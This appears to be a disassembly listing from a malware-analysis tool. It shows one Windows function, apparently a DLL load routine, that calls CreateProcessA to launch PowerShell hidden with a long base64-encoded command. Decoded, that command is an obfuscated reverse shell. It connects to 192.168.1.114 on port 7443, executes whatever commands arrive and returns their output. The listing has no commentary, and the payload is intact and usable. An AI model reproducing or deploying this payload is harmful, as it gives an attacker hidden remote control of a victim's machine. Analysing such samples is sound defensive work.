Function at 0x670814f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
cmp dword [ebp + 0xc], 1
jne 0x670815c2
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x5c]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x5c], 0x44
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x18]
mov dword [esp], eax
call sym._memset
lea eax, [ebp - 0x18]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x5c]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000000
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:WindowsSystem32WindowsPowerShell_v1.0powershell.exe__w_1__enc_UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAFwAVwBpACoAXABTACoAMwAqAFwAVwBpAD8APwA_AHcAcwBQAD8APwBlAHIAUwBoAD8APwBsAFwAdgAxAC4AMABcAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAB7AFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAYwBsAGkAZQBuAHQAIAAtAFYAYQBsAHUAZQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABDAFAAQwBsAGkAZQBuAHQAKAAnADEAOQAyAC4AMQA2ADgALgAxAC4AMQAxADQAJwAsADcANAA0ADMAKQApADsAIABzAGwAZQBlAHAAKAAwAC4AMQApADsAcwBsAGUAZQBwACgAMAAuADAAKQA7ACAAUwBlAHQALQBWAGEAcgBpAGEAYgBsAGUAIAAtAE4AYQBtAGUAIABzAHQAcgBlAGEAbQAgAC0AVgBhAGwAdQBlACAAKAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiAHkAdABlAHMAIAA9ACAAMAAuAC4ANgA1ADUAMwA1AHwAJQB7ADAAfQA7AHMAbABlAGUAcAAoADAALgAwACkAOwBzAGwAZQBlAHAAKAAwAC4AMQApADsAcwBsAGUAZQBwACgAMAAuADAAKQA7ACAAdwBoAGkAbABlACgAKABTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAC0ATgBhAG0AZQAgAGkAIAAtAFYAYQBsAHUAZQAgACgAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAKQAgAC0AbgBlACAAMAApAHsAOwBTAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAC0ATgBhAG0AZQAgAGQAYQB0AGEAIAAtAFYAYQBsAHUAZQAgACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApACkAOwAoACAAPQAgACcAIwBzAGUAYQByAGMAaAAgAGUAbgBnAGkAbgBlAGIAbwBvAHMAdABlAHIAIABmAG8AcgAgAG0AZQAnACkAOwAgAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAARQBEADcAQgBBADQANwAwADgARQA1ADQANAA2ADUARQA4ADIANQBDADkAOQA3ADEAMgAwADQAMwBFADAAMQBDACAALQBWAGEAbAB1AGUAIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgAACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7AFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAARwAwADAARwBMADMANABMADMAUgBUAEQAMQBWAEkAUwAxADAATgBVAFAARAA0AFQAMwBSAEYAMAByAFcAMQBOAEQAMABXAFMARAAzAEYAMwBOAEQAMwBSACAALQBWAGEAbAB1AGUAIAAoACQARQBEADcAQgBBADQANwAwADgARQA1ADQANAA2ADUARQA4ADIANQBDADkAOQA3ADEAMgAwADQAMwBFADAAMQBDACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAKQA7ACAAcwBsAGUAZQBwACgAMAAuADIAKQA7AHMAbABlAGUAcAAoADAALgAwACkAOwAgAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAATQBwAEMAbABpAGUAbgB0ACAALQBWAGEAbAB1AGUAIAAoACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQARwAwADAARwBMADMANABMADMAUgBUAEQAMQBWAEkAUwAxADAATgBVAFAARAA0AFQAMwBSAEYAMAByAFcAMQBOAEQAMABXAFMARAAzAEYAMwBOAEQAMwBSACkAKQA7ACAAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQATQBwAEMAbABpAGUAbgB0ACwAMAAsACQATQBwAEMAbABpAGUAbgB0AC4ATABlAG4AZwB0AGgAKQA7ACgAIAA9ACAAIAArACAAJwBFADkAMQAzADQANgA3AC0AVgBYADEAJwApADsAIABzAGwAZQBlAHAAKAAwAC4AMQApADsAIAAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAIABzAGwAZQBlAHAAKAAwAC4AMAApADsAIAAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQB9ACAALQBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIABoAGkAZABkAGUAbgA
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
jne 0x670815a2
mov eax, 1
jmp 0x670815c7
mov eax, dword [ebp - 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 0
leave
ret 0xc